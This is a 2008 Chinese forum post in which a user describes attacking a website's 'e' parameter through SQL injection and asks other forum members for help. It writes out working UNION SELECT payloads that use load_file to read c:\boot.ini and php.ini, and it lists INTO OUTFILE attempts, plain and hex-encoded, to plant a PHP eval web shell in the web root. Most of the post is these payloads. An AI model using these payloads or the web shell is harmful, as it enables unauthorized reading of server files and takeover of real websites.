我遇见了跟楼主一样的问题
e=262/**/union/**/select/**/1,2,load_file(0x633A5C626F6F742E696E69),4,5,6,7,8/* 成功看到c:\boot.ini的内容 WINDOWS2000机器
e=262/**/union/**/select/**/1,2,load_file(0x633A5C77696E6E745C7068702E696E69),4,5,6,7,8/* 成功得到php.ini的内容
后面陆续得到 MYSQL连接帐户 版本是5.0.27 并且得到了WEB绝对路径
但是在into outfile的时候就郁闷了
e=262/**/union/**/select/**/1,2,'<?php @eval($_POST[s]);?>',3,4,5,6,7,8/**/from/**/news/**/into/**/outfile/**/'c:/appserv/www/1.php'/*
失败 返回错误 提示跟加'的提示一样
然后用 16进制变换为
e=262/**/union/**/select/**/1,2,0x3C3F70687020406576616C28245F504F53545B735D293B3F3E,3,4,5,6,7,8/**/from/**/news/**/into/**/outfile/**/0x633A2F617070736572762F7777772F312E706870/* 还是失败 错误提示跟以前一样
ps:
0x3C3F70687020406576616C28245F504F53545B735D293B3F3E是 <?php @eval($_POST[s]);?> 的16进制
0x633A2F617070736572762F7777772F312E706870 是c:/appserv/www/1.php的16进制
然后尝试
e=262/**/union/**/select/**/1,2,load_file(0x633A5C626F6F742E696E69),3,4,5,6,7,8/**/from/**/news/**/into/**/outfile/**/0x633A2F617070736572762F7777772F312E706870/*也失败
但是直接 e=262/**/union/**/select/**/1,2,load_file(0x633A5C626F6F742E696E69),3,4,5,6,7,8/**/from/**/news/的话 可以成功得到c:\boot.ini的内容
其间把'换成'也试了 也不才成功 但是这个站有人用这个注射点拿到了WEBSHELL 。。。。。。邪门了!
各位大虾帮忙讨论下 谢谢!
[ 本帖最后由 xinyuan55881 于 2008-4-29 17:33 编辑 ]